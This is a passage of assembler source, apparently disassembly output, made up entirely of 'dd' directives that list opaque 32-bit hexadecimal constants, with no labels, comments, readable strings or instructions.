		dd 0C4E50143h, 72AD8CFDh, 2E786012h, 51A4C9h, 0B0E2D43Ch
		dd 0A08C0369h, 7ED84CC6h, 51C98979h, 3FBC8690h,	0A3D60631h
		dd 80F5CA33h, 0DD784A09h, 0A96C8791h, 9C1A0AC7h, 6988D003h
		dd 0EC1806CAh, 30FD0E43h, 0FA29041Fh, 121DA280h, 0A414AA1Bh
		dd 7F3F30C0h, 49F01330h, 976A11F0h, 0B11B410h, 0A1184A3Eh
		dd 7009188Ch, 4C588CA4h, 0D4A5003Ch, 5F2E5697h,	0B4974F5h
		dd 0D8F09479h, 0F000C02Bh, 98B22C3Fh, 0D7ADCC1Fh, 0BA44B028h
		dd 0D5D057Eh, 40C63223h, 48AB54F8h, 0A7F8152Eh,	0EEC76E00h
		dd 8CDB8DD0h, 0BFA42E96h, 9FD4E00h, 4C040AA8h, 0EDD25CF1h
		dd 4F9C8440h, 5D3AF15h,	0F6E810AEh, 0B9B0D108h,	8529002Bh
		dd 9BCA186h, 0C101CDCh,	55546812h, 0B518EAF8h, 5D28BC56h
		dd 8DF8984h, 0C14844E8h, 8A542284h, 481D0B20h, 30006BB7h
		dd 7776E5F2h, 0A100A94Bh, 49BF5408h, 838C32h, 0B1DB9695h
		dd 6C563113h, 0EBBE1700h, 0B96469B5h, 2CF000E3h, 16791862h
		dd 8C009CC5h, 2EDCC62Bh, 0D0FCA1h, 92C423CEh, 0D6ABE790h
		dd 0A62BFE03h, 0F364605Eh, 482D808Fh, 0E01500D8h, 2008CDEDh
		dd 4E003EC4h, 9254D182h, 473A5Bh, 0D6AC6FE7h, 0CE86B1FCh
		dd 0A5B3080Eh, 83AD0015h, 7C0441B4h, 0C4880087h, 2C4D894Ah
		dd 0A000485Ch, 53F8E965h, 0B94425h, 8ABB93DFh, 2B325E51h
		dd 0D26FF90Ah, 2000DA47h, 0E9980109h, 78AF004Ch, 491B5F8Dh
		dd 763C5A7Fh, 81BDB875h, 14921DBEh, 9F201F97h, 6690004Bh
		dd 89F47AB8h, 1300A8E6h, 0D8CF854Eh, 0A718CBEh,	2E3944CEh
		dd 18C200ECh, 0C388FB20h, 9D45D700h, 0E6219B72h, 66324CFFh
		dd 0A4DEA200h, 0F7BD0B36h, 10C3D80Eh, 7A003202h, 0E2603BCBh
		dd 69840087h, 93D424FBh, 1612C848h, 3A007455h, 27362639h
		dd 6FD8057Ch, 2E5C89h, 0C9729C98h, 1D021747h, 55EA56A6h
		dd 0A8C0804Ch, 1FC18360h, 8EB565E5h, 714046DCh,	0AB4AC0C8h
		dd 846A8500h, 0B925CDC1h, 0B70E0014h, 30E87E51h, 5AE65FC8h
		dd 0F8A2B500h, 920DD670h, 32B288Fh, 37EB00D8h, 0D0E31AF7h
		dd 5B0F0B3Eh, 80D7B7ECh, 0C20D0C95h, 0A32A001Eh, 3E1DD0F4h
		dd 2403232Eh, 64630ED3h, 31F9D846h, 0F2E500C6h,	73089D71h
		dd 0CF3A7540h, 1597009Ah, 0BEC7C864h, 453025C1h, 8767F880h
		dd 0FD0160DBh, 5784CF02h, 8CD0CEAFh, 41C904ACh,	90DD07DAh
		dd 0A4987538h, 3B15BE00h, 45AC30Eh, 3D5C9262h, 2F801422h
		dd 41BF1BABh, 0EA00E468h, 0FF5E6B4Bh, 24237B82h, 8DA4B3AEh
		dd 403969F0h, 0E76EDD0Ch, 8DA711C7h, 362F770h, 0AB2E0051h
		dd 0C095090Ah, 4A01B36Ah, 0C63BBA90h, 86E01266h, 1C3898D4h
		dd 0CF7B81A0h, 0A5C05621h, 0F9F1597Ah, 992FC301h, 65F2BC22h
		dd 0F4822BF4h, 0FC25001Fh, 39BBCF87h, 891E3499h, 3180E033h
		dd 96266968h, 0D082484Ch, 0F13E8C0Fh, 39EF1720h, 0A67CFA18h
		dd 0AE9E3503h, 22D70ADh, 16E846B9h, 4DE0D6B3h, 2F287B33h
		dd 890FE23Ch, 0C25762FAh, 417C0C3Fh, 49ECCC24h,	1F7F3086h
		dd 0BEE85D20h, 0A25248C1h, 298F0F24h, 79050ACFh, 3BC000DEh
		dd 4EAE892h, 0B50C90E4h, 3901D06Eh, 0E8CFACEh, 0DC5AD5E2h
		dd 50855F60h, 0E900CBDEh, 22796B6h, 788225h, 3A9C3452h
		dd 7AC62841h, 3C89AC00h, 735EC323h, 0B0A20069h,	7616C5EDh
		dd 812447EBh, 7A00C830h, 4052E8C2h, 9F779Bh, 0B9434A15h
		dd 0A11AB71Eh, 0C77C6600h, 45333EDDh, 0BC1000ACh, 435ABA58h
		dd 934C8397h, 813F3D18h, 1C5DA2DFh, 0C820336Ch,	28EC2Dh
		dd 0BBA36E73h, 0C9D677DCh, 0CCD28307h, 0CB50E5C4h, 7485BA9Fh
		dd 5E2F25DFh, 29D86C80h, 3802F20Ah, 0D4CA9E4Ch,	0E29468C2h
		dd 65780093h, 9AB19931h, 0BC0043CDh, 61E90771h,	7DD9DE6Ch
		dd 5759097Ah, 0B880E6E3h, 5B397023h, 0F5632500h, 3F7DE740h
		dd 0DF7C09DAh, 1387742Dh, 5162A14Dh, 4A7C6479h,	0DE924604h
		dd 490E46Dh, 0CCA385h, 3861DB08h, 5CA983B8h, 12ECB27Eh
		dd 19AF0E01h, 0B9E777C1h, 8536420h, 0D1E21F8Bh,	0A075840Fh
		dd 9232C5F3h, 3CBF003Bh, 0B27CCCDh, 67001615h, 0E82A41D7h
		dd 3D976Dh, 0E2EB2872h,	0B07D6237h, 444EF400h, 4D948E81h
		dd 0D87110CAh, 0E298017Fh, 9113277Ch, 0A08C5360h, 7687294h
		dd 782C5952h, 81EE0435h, 0D426C034h, 36001C4Eh,	0E47F5CBAh
		dd 16C99CB1h, 406733B5h, 0E355B750h, 0FA008D4Ch, 0F35EA930h
		dd 0AD7247h, 291FB3BAh
		dd 0DB384F32h, 4C69023Ch, 3698009Fh, 0C5158497h, 554E1D52h
		dd 0EF513348h, 6B3D7BB8h, 0CC69180Fh, 0C4CB6330h, 0AD211D6Dh
		dd 48FC0ECh, 2DEE4E41h,	0A23B3D00h, 42CD83AEh, 0B56000C7h
		dd 67675EFh, 706EB732h,	0E104C0D1h, 5C8B4022h, 0CF001783h
		dd 74FA659Ch, 7000A942h, 7CC8243Eh, 0C72159h, 7F4ADE54h
		dd 6C74943Fh, 335B6200h, 0CE67BA4Fh, 4CBB01C6h,	9DCB459Fh
		dd 0ACA441D8h, 0ABC57088h, 0F6F5D101h, 22E5E66Ah, 0E5531E0h
		dd 5F9DDD1Ch, 863FED80h, 911D2101h, 8000D675h, 0ACBCFE58h
		dd 13A30053h, 72CF98F4h, 5E00E86Ch, 8FD1AF14h, 7ED0A96h
		dd 2C8E930Dh, 0ECD4B00Ch, 0E7008838h, 5FBAE67Bh, 2EB5796h
		dd 6D9716CCh, 0BCC0703Ch, 0A60B1F9h, 0D0A27130h, 6FF70361h
		dd 172E15F5h, 0C64E07E8h, 3E54C31Eh, 39BE6DC0h,	0F770FB0h
		dd 47C85F1Fh, 70CEDD40h, 0A7F828FDh, 7A9BC27h, 0F0F0B6C4h
		dd 0E4376DAh, 9623D12Bh, 0E58F7ADEh, 61A0389Dh,	0BB60B4CAh
		dd 0E004E76h, 5433121Dh, 0B21BFBh, 77EF5FA7h, 40E818D2h
		dd 4F6C2000h, 57AD2F0Ah, 448B0DFh, 77D8F931h, 424C80E4h
		dd 97E087F4h, 65AF7900h, 4A8FFB10h, 18692993h, 901100F8h
		dd 0E0DC8D42h, 7CE33A09h, 0F6DC024Eh, 9F8E2EB9h, 0AFFC4072h
		dd 2E0D3618h, 541C404Bh, 5A78C9h, 52B6646Bh, 0AC2C99D6h
		dd 3C89BC28h, 0B0E85525h, 73165DBEh, 3ABC9C67h,	0C0D6D71Ch
		dd 0AD61CDD9h, 63905BBh, 9BFC80D5h, 0B23913AFh,	0F1B8E1h
		dd 5943FF4Ch, 621136D1h, 89E37A09h, 48A44037h, 0A8F53D2Fh
		dd 0D0C85113h, 0D6CBAFA4h, 0A5468A01h, 77EC29FFh, 0B4A91887h
		dd 57208337h, 4A941120h, 789000DFh, 4DE54C75h, 2CB608BAh
		dd 4AC50680h, 71324E05h, 38A76209h, 3CB0A938h, 3A84D703h
		dd 0F9023E8Eh, 89400C8Ch, 84942884h, 279088D4h,	0E875F512h
		dd 0C10484BCh, 0A006D9F3h, 4052FB0h, 0A105C44Ch, 41B50B5h
		dd 0B0AFEA84h, 0FE30AC08h, 8D8A18C3h, 31B80Dh, 14E5F1E8h
		dd 67056AC1h, 0ACC9AF00h, 12DE94F9h, 0ED03289h,	26108D29h
		dd 10ED8965h, 70F8903Dh, 0B2DB0702h, 0C00DAD39h, 269D9A78h
		dd 0FA41E007h, 22309C51h, 195E9D6h, 0DC7BDAB4h,	603AA412h
		dd 0FF007659h, 0C8B09179h, 90540496h, 0BF450178h, 0C786D067h
		dd 30AFF5F3h, 900FADD0h, 60AA7F83h, 6B012A2Eh, 99725Fh
		dd 1C3C041Ah, 41BB6137h, 8422B92Ah, 0DDDD7F3Ah,	0BE0900D8h
		dd 8E39B19Ch, 22E60054h, 1069414Eh, 8200F655h, 666A2FF9h
		dd 583BA339h, 7B071496h, 0FF5765DFh, 172D4581h,	354CD495h
		dd 0DD3861C7h, 3FBA8148h, 70E7ECB3h, 0C400C505h, 8EE1F8BCh
		dd 5BB828h, 3E7B48F4h, 224468Bh, 0D8A24B0Ah, 0B6917490h
		dd 7F749300h, 0BEB4A4CAh, 0FAAE2616h, 82C0201Fh, 2E49EF96h
		dd 16F0230h, 817664E8h,	3CAAE140h, 0C000BC7Eh, 57CC70Ch
		dd 6998B8h, 0A31BDA63h,	4A401996h, 0FFBBAB01h, 18C0DC94h
		dd 63801880h, 0CBD27DC1h, 51110C0h, 0D93297h, 3F7C7550h
		dd 0B8A12637h, 5715F106h, 3B281146h, 0E72E405h,	7AA9B4E8h
		dd 204F01E0h, 0F400C23Eh, 88946870h, 51A7EE2h, 62EE2CE5h
		dd 65388045h, 0D40049CCh, 0A9A5945Eh, 1E7F3633h, 26EB29F6h
		dd 0E44480A8h, 0F8A29F13h, 0E5B6FB13h, 0BF765000h, 70EFDD5h
		dd 1311188h, 0E1290373h, 62E5FBA0h, 172A8B00h, 0C09644FCh
		dd 912000A0h, 2C85E761h, 0A91DA2A6h, 0BF406F6Eh, 0D2B811F1h
		dd 0EB980088h, 96DA70B9h, 0D404B69Bh, 4C2756E4h, 410CB0h
		dd 1737F16Ah, 0FF7582Dh, 519AF400h, 29E378E5h, 1C4C7FADh
		dd 0C0E934D6h, 81B3CD62h, 5D0017B5h, 9AB00431h,	1778FCB8h
		dd 5A217Fh, 0D4C990B4h,	0F6E81023h, 4449FA00h, 25A5D1F2h
		dd 52611E9Eh, 27FCCB64h, 2F479602h, 1828B454h, 4DD8493Ch
		dd 50510FF0h, 0A919410Ah, 10743387h, 0A03F17F3h, 7EC4423Eh
		dd 0A54085B8h, 0CD74BE81h, 46941E06h, 420DE1Bh,	0C5D79571h
		dd 86ECC09Ch, 6031C664h, 0F574114Fh, 347A2986h,	0A0060D7h
		dd 7239F248h, 602799FBh, 2FDC1987h, 8BFECDFEh, 1E03AAEAh
		dd 63F3E046h, 0BBAFCB3Ah, 0C8200007h, 298C1DC5h, 0C2E22445h
		dd 347CF712h, 0E276300h, 0FE6EF15h, 0D5906B84h,	36FFBD80h
		dd 131EB917h, 3BC07859h, 60BE73DDh, 7E9402C5h, 3FAA65C7h
		dd 0CC1EB160h, 8053D33Bh, 0AB38E63h, 5E15E851h,	99D800B4h
		dd 6EE02932h, 7F700500h, 59B1CC28h, 3D1C9C3Dh, 0DE4F2480h
		dd 8ACF511Ch, 39CBC501h, 0E9156F7Dh, 32ABD8h, 77D124B0h
		dd 0FB3F2259h, 3BE89150h, 0B550E800h, 41B93455h, 80370039h
		dd 95AF71D9h, 620031C0h, 0C41E86C9h, 46D4B83h, 117D3C18h
		dd 4F0EC258h, 0AE6A9083h, 16C810D0h, 21A63F00h,	8536ACCBh
		dd 0EF390FE3h, 0F0D591Bh, 0BC6BF420h, 0BA732A00h, 0F6AE7D5Eh
		dd 71F10276h, 1990F9DFh, 0BC02660h, 0BD001C7Ah,	0CBD6B317h
		dd 30ED73B4h, 5101945h,	2009E546h, 8B171BC0h, 0A89B0050h
		dd 5CAB864Bh, 0A607DCF1h, 0D066AEFCh, 0FF2AD99Ch, 6C16C700h
		dd 0A7771943h, 0E2F60F0Dh, 0DB800EBCh, 2D07C629h, 91FED605h
		dd 9000D84Ch, 396D8992h, 0DB7600DEh, 0C2AE55D2h, 0C1169336h
		dd 0F9DABh, 3A9C96Ch, 0F1EECAFCh, 6A301DD7h, 0D66D5C72h
		dd 0AB4FAA01h, 20E51427h, 8117D450h, 0A10011F0h, 0A41F1905h
		dd 0F93E00FCh, 0E45B84A8h, 0F47539CAh, 2593EE00h, 0A807CC4h
		dd 723B0297h, 8CE474Bh,	19A15840h, 0C19A931Dh, 3BFDAE80h
		dd 0B25DCBh, 6104BF2Ch,	0D9271B44h, 3F023EF2h, 16B925CEh
		dd 3058E034h, 6D7B0063h, 0E2115AD0h, 440082E5h,	2BBFB5A6h
		dd 5664C2h, 6D961036h, 0BC5A479h, 0FDECDA1Fh, 31A3AA80h
		dd 6305CBh, 62E7B6DEh, 8A23AE1Dh, 0F9C85913h, 2BB92C80h
		dd 0AA412C78h, 0A59F0102h, 0C8E8877Eh, 707BFC97h, 0CA696E01h
		dd 0C47AB508h, 7F34D880h, 990A62A5h, 55B07C74h,	34201C24h
		dd 7205EB09h, 63021D98h, 8029D67Eh, 54584898h, 0CC0570B0h
		dd 0CA4F08C1h, 9F7830D0h, 1C20480Fh, 0B9D92Ch, 59E82D29h
		dd 0B4263FBDh, 5F00A41Bh, 230C1AB2h, 17A00024h,	0B798E675h
		dd 900C852h, 0AB0E3DADh, 58382D11h, 8200419Fh, 848514BAh
		dd 7E2C15BEh, 12386681h, 0D4A0D25Dh, 96460FD3h,	4781978Ch
		dd 0D4D1BE64h, 0DA09AD17h, 60F5AF72h, 1F2116Ch,	0E468818Eh
		dd 0DC7E9548h, 4E00D38Fh, 1425D2C7h, 95E1CF0h, 4917D091h
		dd 0A7D9A400h, 93037804h, 79D43BD5h, 0E350B8A2h, 460B39F2h
		dd 0BE1281Ch, 28A0FDC9h, 0B0DD41F8h, 8D3DDA75h,	2CE7AEDFh
		dd 0F0BC8E00h, 2479A716h, 0C7C1F31h, 0A3C0FBF1h, 374D3077h
		dd 4ECCC8Ch, 95360ECAh,	0F5A082B3h, 81FEC435h, 0F0C82302h
		dd 0AE852E3Ch, 6BD0E0C0h, 0A63270h, 698AB5B6h, 7F9449E1h
		dd 0CC728900h, 1BD4D542h, 0FD303F2h, 7DD7AC16h,	24B1809Dh
		dd 0B0002379h, 0B95821EBh, 5C5C0654h, 1C047887h, 0BD62E16Eh
		dd 2ADD00D8h, 0B5A73224h, 0CD96009Eh, 85497A0Dh, 2600139Ch
		dd 336F00Ch, 272CA3FBh,	40009A34h, 57BD639h, 0D5D0EC00h
		dd 0B17ADDE2h, 80840090h, 9921B2A7h, 0D2176514h, 2501F932h
		dd 9540108Ch, 882C428h,	5D0448C5h, 3769C8A0h, 872031D9h
		dd 0C376C70Dh, 0D7F3AFB6h, 0AE54B10Fh, 3BFEB2Ch, 0A0C74803h
		dd 3641961h, 69A683Fh, 93FB6DD0h, 0FDE7A790h, 78D11403h
		dd 357336Bh, 0A54E8C78h
		dd 0C5A01554h, 67494FDh, 0CF48BCA8h, 86A2F509h,	0F8F840CBh
		dd 400B108Ch, 64EBC888h, 26C2071Fh, 97467840h, 0A7090015h
		dd 45121020h, 80074957h, 0CA6EA2DEh, 63BD9B10h,	16C901AFh
		dd 0A98B2DEDh, 0DFC2102Ah, 30050021h, 72D2A413h, 943DD12Fh
		dd 706532ECh, 4EB45E7Bh, 5ABBC5A0h, 5F257C8Ah, 6068E46Bh
		dd 0D4645128h, 0FC03C780h, 721932A6h, 129BEE8h,	9AC97881h
		dd 808A5B17h, 5F165AC0h, 54AC52h, 0DA012F1Bh, 8140B963h
		dd 7D79EAE4h, 0D9C09900h, 0EFBC2C91h, 0ACE73E90h, 739A668Fh
		dd 0B14FCC80h, 6B007B15h, 6078C64Ch, 3EE49102h,	542440ABh
		dd 45C00200h, 0D87C7131h, 0AECFE340h, 0B4C4016Ah, 0FF5FA212h
		dd 6B2DD053h, 0C1A1520Eh, 233A0196h, 0C18DC944h, 0E0F191C0h
		dd 0D0184077h, 210A44Dh, 0D07F54ADh, 0EA553AB2h, 29A918E3h
		dd 479D3100h, 5D7D2E75h, 9032F96Dh, 6EBF5000h, 7BAAF512h
		dd 0EB37C000h, 0AFAD850Ah, 0B1770034h, 7887E75Ah, 5960EA79h
		dd 0AE866781h, 40708Dh,	0AD6E4BDDh, 0B6495132h,	0A9305A98h
		dd 217F6125h, 0E3FA007Eh, 0D0BD9270h, 180034D8h, 0BC98B276h
		dd 9517E88Fh, 408F040Fh, 637B93E0h, 0CA006F4Dh,	65CCF092h
		dd 7E0FC92Eh, 0AF8300F9h, 0AB69466h, 0AC007053h, 0A4D1D64Ch
		dd 0E6173E3h, 6F14F41Dh, 4AAB43E0h, 17000550h, 24B41F69h
		dd 3542293h, 593256B6h,	6D918509h, 683087D4h, 0B32099EBh
		dd 6F8F1537h, 4947010h,	0FAD0E7BEh, 301F4C95h, 91187441h
		dd 0FE715005h, 0DBF72E00h, 965A9403h, 0FD8D00ADh, 0E662FB37h
		dd 0A3329010h, 10EB294Dh, 1788ABF2h, 881895Fh, 352284DFh
		dd 112342AEh, 0B3214AF7h, 90A0D808h, 478284BFh,	0A84EA748h
		dd 84CB90A4h, 9B4844A2h, 24988242h, 0AC8823E7h,	44DC8F44h
		dd 0F34891D4h, 90C80247h, 8F119E63h, 0B2228474h, 11574258h
		dd 9B219340h, 4B884110h, 9038F347h, 562984B7h, 8E803F48h
		dd 50042167h, 3B5800AAh, 7A83DDFDh, 0CF006CEBh,	0FBC891E2h
		dd 7BF24A9Eh, 0E2E57F7Bh, 2D7E7Dh, 8F613C49h, 5FCA011Ch
		dd 0E73E5973h, 8CB8D3h,	8169E515h, 0EC7B66D4h, 0D660079Fh
		dd 0B049EAB0h, 521D5545h, 9A114D0Fh, 0D4480087h, 0E04C8Fh
		dd 2333EE99h, 7DF2D738h, 93890B00h, 0D38872F5h,	0AFF80F4Fh
		dd 4640364Dh, 23F9FE20h, 7C198B03h, 0E8E8169Ah,	0E0AEC48Ch
		dd 0C0B801F4h, 971C012Ch, 14F7F41Fh, 0C18F4601h, 0E1D7BE6Ah
		dd 756020h, 36DB28B4h, 69798B67h, 22855700h, 43012E56h
		dd 3EF7018Dh, 72357D81h, 0FDA2C8E7h, 50BAF91Fh,	1295DC81h
		dd 80DBBB83h, 16A1F3Ch,	368C3794h, 241A60ADh, 2A00CC94h
		dd 0E081DBFEh, 52A04Bh,	0FCBF965Fh, 5805ADC1h, 2B6F21Eh
		dd 0B9CD3200h, 0F54028h, 0A3F3E913h, 8A9BCC16h,	8C314B00h
		dd 7FAA6102h, 0C18101F9h, 51AE8936h, 7B308791h,	8590E3E7h
		dd 75712E70h, 1D7900EBh, 8D17143Ch, 26006007h, 9C06AB63h
		dd 824BFFh, 0DB98C0FEh,	0F7B6AA23h, 9BBD9614h, 872C00C0h
		dd 0F65A11A7h, 6200031h, 6DE8C333h, 50008A9Dh, 991EDB3Bh
		dd 639FB4h, 55416F89h, 0E8E9FF2Dh, 13C8D800h, 23698F31h
		dd 8CBE1F4Ch, 0C0FE9EBDh, 2D77587Ah, 0E800AA3Eh, 0C2B5185Ch
		dd 0F6AF7CAEh, 0EB04012Fh, 81937690h, 317F8FAh,	0F8EC461Eh
		dd 0F5331340h, 7DD3A8h,	0D9814FBCh, 0D20E4E6Bh,	0B70096FEh
		dd 0A5B2DF24h, 0E475B55h, 51EFD872h, 18A99560h,	0F800331Dh
		dd 0C2046775h, 4889057Eh, 49005CE3h, 0D6A025B0h, 0A33E2ABEh
		dd 8E00F8A8h, 8D3FDE42h, 0F09F5E91h, 90BB502Eh,	674300ECh
		dd 71369A53h, 1C0CC641h, 0AA01B765h, 0B16F00B4h, 0AF2B24A0h
		dd 0E4485E39h, 173F64h,	9EEBB2BCh, 0EA5A1Ah, 8CF668A5h
		dd 9306F242h, 0F51B3000h, 0EA3B2DBh, 0F85160ACh, 0C7DA66E3h
		dd 0DF1CB600h, 691A39EBh, 0AA1500B7h, 3CC6A824h, 88018A77h
		dd 8612055Dh, 0D9F12F95h, 0F44031E9h, 30B527A9h, 872840C5h
		dd 0AE000C84h, 6945D5F8h, 0E46DA3h, 3798C78Dh, 0CD800F9Fh
		dd 779D2201h, 0C6108AB5h, 28F42EE0h, 1C80E51Fh,	40AE8BCFh
		dd 4A3ABFC2h, 271C599Dh, 5005221Eh, 0A4C009C1h,	0FBFF2Ch
		dd 0D37E5AD2h, 67928F90h, 0BDC3DC0Ah, 5801F02Ah, 0ED55D0AAh
		dd 0E53C0300h, 4E841818h, 0A9303Ch, 0E1FE3E5Bh,	34E7867Fh
		dd 75035098h, 82972B46h, 92EFE7C8h, 2CA87600h, 14548E3h
		dd 8ED5B476h, 40E09815h, 35A059F0h, 0D3D4DD05h,	9840D9C1h
		dd 68E5879Bh, 2C090B8h,	0D6654EA8h, 5064FAC2h, 2AC4EA00h
		dd 565BD90Bh, 3DBD0095h, 0E95910ACh, 4E007ACCh,	70A268A4h
		dd 2B36A1h, 97DF022Eh, 0E33C520Dh, 940CC00h, 49FC031Dh
		dd 21F30CE4h, 68101CA8h, 4B1E100Fh, 1E778E3Bh, 19B1AC80h
		dd 0E2C290Eh, 71BC01F0h, 5C542053h, 3439E0E3h, 0E0E4BDF8h
		dd 10321AB0h, 0B967099Ah, 0C3A06AF2h, 5AC7CB54h, 9849C41Ch
		dd 43456280h, 0FC01A173h, 954C000Eh, 66E94EC3h,	440784B1h
		dd 0F5DCC29Bh, 5EB8CDA0h, 813D045Fh, 8071251Dh,	0AF0E7C12h
		dd 9C38E400h, 0D02C497Fh, 51EB02B3h, 0A3307816h, 73D82960h
		dd 3B56D700h, 0E518B685h, 7D86262Fh, 902B0184h,	60F0DA95h
		dd 3D0271F7h, 4EDD2EAAh, 16334046h, 50BB0002h, 35E327E6h
		dd 0AE00E1CEh, 5D9BF8BFh, 7ED8A1FFh, 0CDEA00C3h, 11B8E4CCh
		dd 0FA091983h, 2C4BD1h,	0F7090390h, 0D00607BBh,	7004D6C9h
		dd 0F9E2D278h, 0FE0A9E00h, 5F844C7Bh, 5B7E03ACh, 77A929B8h
		dd 5CE712D0h, 0C131730Fh, 0EA202006h, 0F8F756h,	0FF2F5795h
		dd 813FFCE5h, 482DF000h, 0E2E7DAC3h, 0DE2200FAh, 0E309AB1h
		dd 0B30034A9h, 0C5453A21h, 7185947h, 5889EB3Dh,	4B748096h
		dd 3801CF39h, 15417A7Fh, 3432B61Bh, 0E9F51F03h,	0B5E001DDh
		dd 2C093D63h, 80AF7102h, 0F180AB59h, 2A0EAF6h, 78923020h
		dd 9C40EEB3h, 0F93F5EA7h, 0B0F200FCh, 7F451673h, 94C20012h
		dd 914A5A27h, 0EAF25653h, 0FDC3D302h, 40959B0Ch, 942170h
		dd 59F4D699h, 0A27187C2h, 0E64864B8h, 1C9D0025h, 5413DE81h
		dd 163900E1h, 0E219C36Dh, 4607E99Eh, 9BD32D8Dh,	94E00330h
		dd 4281000Eh, 2FA2964Fh, 3500F928h, 6FA51BFh, 421DF61h
		dd 7E0774CFh, 0DD24C348h, 505180DCh, 0D6024F1Ah, 0BB71AF2Dh
		dd 3A00E05Ch, 8E4A0C09h, 0AD0CABAAh, 68561626h,	0CE094024h
		dd 0A55880B2h, 73E0B5h,	8474778Ah, 40B836E9h, 2254AB00h
		dd 884D9CC2h, 69251D80h, 9BF5423Eh, 88C01B76h, 0C600DAA8h
		dd 0F8E51391h, 12E2E0E1h, 2F2EF7h, 188C1E4h, 4BEE9AA6h
		dd 7674FF00h, 8DDE3FD9h, 379F0031h, 0F005F953h,	4F7972C7h
		dd 7C0F2A7Ah, 6057771Fh, 4D505B8Ch, 38907Eh, 41B36E0h
		dd 0BA6EFFB3h, 50D1814Ch, 8A03E797h, 0CA176A97h, 14A09FE4h
		dd 1FC1A477h, 8093F907h, 582C69AEh, 6300A102h, 0C2EF54C6h
		dd 3D176571h, 43803A0Ah, 0A7DAE246h, 3D3F0DD3h,	1055266Bh
		dd 0C6A92400h, 5D1E9C4h, 9FF24137h, 0AD7C90EBh,	0A02E110Ch
		dd 7509D8D3h, 0E5818FC8h, 0D0090FC2h, 0C0B88F0Bh, 0A9EAF570h
		dd 0F99701A3h, 1930DD8Fh, 0D98870A6h, 745AF302h, 0C04C76D8h
		dd 0CB874h, 65DF3655h, 921C8560h, 47110201h, 0D9C06B67h
		dd 0F8D880EFh, 52A100B1h, 0AE448033h, 0EA0E3BA0h, 17C48B25h
		dd 92A74A00h, 63315B43h, 3A70C276h, 7BC82EDBh, 2200BDBEh
		dd 0F60120C5h, 433B8Ah
		dd 0F019744Eh, 6E9C33DBh, 96AFF100h, 0D7717322h, 0B101007Fh
		dd 3225C091h, 1B1EE7BFh, 62C072C1h, 3CEDA6AFh, 74760005h
		dd 0E88AB66h, 2A7E04C0h, 6B0A77E6h, 0A8BDEE41h,	8B1C6F00h
		dd 3A7AFCC9h, 602CD0FFh, 96CF07D4h, 5F203FDDh, 0EE2A5718h
		dd 7AAA5300h, 0F2D37BB4h, 0F5B702F8h, 0F0A58B1Bh, 72C0C0C8h
		dd 0A3FB8F00h, 6CC27837h, 0CBBD01E1h, 0F215C495h, 0D0D2CCFAh
		dd 3C762000h, 0A0830B71h, 61220070h, 0EB0219AAh, 3414E186h
		dd 7FDC1290h, 0D3DB3800h, 11AA99EDh, 2FE3006Eh,	5F6FE4D1h
		dd 82011FFFh, 0EBA5B116h, 1A31D27Ch, 73CBEFE4h,	815F0004h
		dd 80B0D8CAh, 8D0032F3h, 0A4681D75h, 6C7BA8h, 0B226A502h
		dd 0FD05BAD7h, 147A7300h, 0EB02F82h, 0C7F200A0h, 0C996A66Bh
		dd 0E2001F88h, 0DABE36Dh, 0B0DD1Eh, 9A2AE0A0h, 11075E93h
		dd 0BFC4AA00h, 6057E9F9h, 0B916398Ah, 53DF1Fh, 72D2198Fh
		dd 24B07CA2h, 79344F00h, 0BFF714B7h, 0CED1004Dh, 0D2622A02h
		dd 2B01014Ah, 0C2AC9F26h, 0B2701F53h, 4C8A00CDh, 0A3390714h
		dd 0F5E03451h, 0AA798601h, 85FD64F0h, 213D2460h, 10402038h
		dd 7EE60F0Bh, 0A4A71793h, 292C002Dh, 0FDF2D8C5h, 79B6410Eh
		dd 716B0062h, 26D151h, 79C9DD9h, 0DCAB15FBh, 0BC084100h
		dd 0BFB09B22h, 0AEF500A7h, 544013F2h, 0A4005B16h, 51773629h
		dd 78212B7Ch, 0B2B1039Eh, 19816274h, 70F1FFF9h,	511F17ACh
		dd 55C795A9h, 0F950D3D2h, 353F532h, 0B9836B70h,	5DB87193h
		dd 0B2002A6Fh, 242618A1h, 6E14C6h, 5FEC7C7Fh, 0A70FB498h
		dd 0BBC8F307h, 6FB02DFCh, 28DA1C72h, 0B479DEh, 52BD0813h
		dd 2B03D3D8h, 56D26502h, 802E3715h, 0E2EA7EB0h,	7F3E0388h
		dd 9164E8Ch, 43BCC0F4h,	891FF725h, 9EB0EBA0h, 2810BCD4h
		dd 1FB48EB9h, 80E47579h, 274FC214h, 0F2000BAEh,	9747263Fh
		dd 207BFD0h, 0A75B90EDh, 0E00E808Bh, 83E1338Eh,	5503058Ch
		dd 345486h, 5C795B0h, 0A70C4645h, 1937A6BFh, 0F0A300F4h
		dd 4CF233C1h, 0CD58D06Bh, 0D8AE007Ch, 32B7625Dh, 0FA1800C3h
		dd 0AB316D52h, 0A7ECF03h, 91146A1Dh, 1EAE89C0h,	6E68871h
		dd 0F5E5F3F8h, 0B4E61037h, 3500DC79h, 53DB6C2Bh, 0E055EE25h
		dd 0E7500D9h, 0D2216ADEh, 2B4C8BBFh, 0CCD02B4h,	50A8B6B7h
		dd 1C1702E8h, 35C1D1C8h, 5F0268C0h, 67AECA0h, 4C61671Fh
		dd 0B764BA81h, 71E14A4Dh, 0FE90E6F4h, 0DE03006Bh, 0B233FC02h
		dd 88014CCDh, 97EF7EF2h, 84EC63A8h, 0E0C62647h,	9C390E7Ch
		dd 0D4FC3459h, 0B2063C86h, 8E08930Bh, 89C90078h, 0AE508C25h
		dd 0A0003DEFh, 8DD54B5h, 0E8B9B738h, 59DB0087h,	0C016F09Ch
		dd 0E47E223Bh, 1055Ah, 0B794C481h, 0E72E9080h, 0C17C184Dh
		dd 0B41D5Ch, 0F362B631h, 0B85213DCh, 653C00B2h,	3095D066h
		dd 256057A4h, 0BD332728h, 349E00FAh, 976B545Dh,	57126568h
		dd 38003014h, 85405C6Ah, 4CE3EA6Dh, 0FF038425h,	8D29FCAEh
		dd 0D8F0BE83h, 2800EA16h, 0DB9DB20Dh, 496B66h, 0A1B9FB1Fh
		dd 0D0CD01BCh, 4AA44407h, 0DB556FE5h, 23A72880h, 0A6BA39B4h
		dd 124E7AEh, 881F7B76h,	0CD64F8B2h, 3087B500h, 3186D1A0h
		dd 72E90092h, 0CF52CC61h, 961D019Dh, 7A012AE4h,	0DFF5EC2Ch
		dd 0C2DCF0CBh, 85E9007Eh, 0F013A12Eh, 0A326E37Ah, 0CF8058CAh
		dd 933E304Bh, 0C64F0050h, 8E168C12h, 0EF00FD70h, 0EEB99281h
		dd 56449Bh, 66CFE03Eh, 2179897Eh, 0AB00E8F4h, 8F3A4901h
